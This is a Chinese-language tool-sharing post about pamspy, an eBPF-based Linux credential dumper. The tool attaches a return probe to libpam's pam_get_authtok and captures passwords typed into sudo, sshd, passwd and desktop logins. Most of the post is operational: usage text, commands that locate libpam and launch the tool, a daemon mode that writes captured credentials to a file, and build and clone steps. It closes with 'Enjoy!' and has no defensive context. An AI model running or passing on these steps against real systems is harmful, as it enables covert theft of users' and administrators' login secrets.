使用 eBPF 的 Linux 凭证转储程序——pamspy
作者:Sec-Labs | 发布时间:
工具介绍
pamspy利用eBPF技术来实现3snake的同等工作。
它将跟踪PAM(可插拔认证模块)库内的一个特定的用户区功能,该库被许多关键的应用程序用来处理认证,如。
- sudo
- sshd
- passwd
- gnome
- x11
- 其他

如何启动?
pamspy是以静态二进制文件的形式构建的,没有任何依赖性,可以在发布页面上找到。
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
由于pamspy依赖libpam,我们必须设置libpam在你的发行版上的安装路径。要找到libpam的安装位置,你可以运行以下命令。
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
一旦你得到路径,你可以启动pamspy。
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
启动pamspy的一个简单方法是使用以下命令。
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy也可以作为一个守护程序启动,只要提供一个输出文件,将凭证写入其中。
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
如何构建?
为了构建静态二进制,我们需要第三方程序。对于eBPF,我们需要clang将C代码编译成eBPF CO-RE代码。我们还依靠bpftool从ebpf程序中创建一个骨架,将其包含在我们的用户界面程序中。然后我们还需要libelf来找到libpam中的正确符号。
sudo apt install make clang-11 gcc libelf-dev bpftool
然后开始构造
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
它是如何工作的?
pamspy将加载一个用户端返回探针的eBPF程序,以钩住libpam.so的pam_get_authtok函数。PAM是 "可插拔认证模块 "的缩写,它有一个灵活的设计来管理Linux上不同类型的认证。
每当一个认证过程试图检查一个新的用户时,它就会调用pam_get_authtok,并在这里转储关键秘密的内容!
简单! 享受吧!
标签:工具分享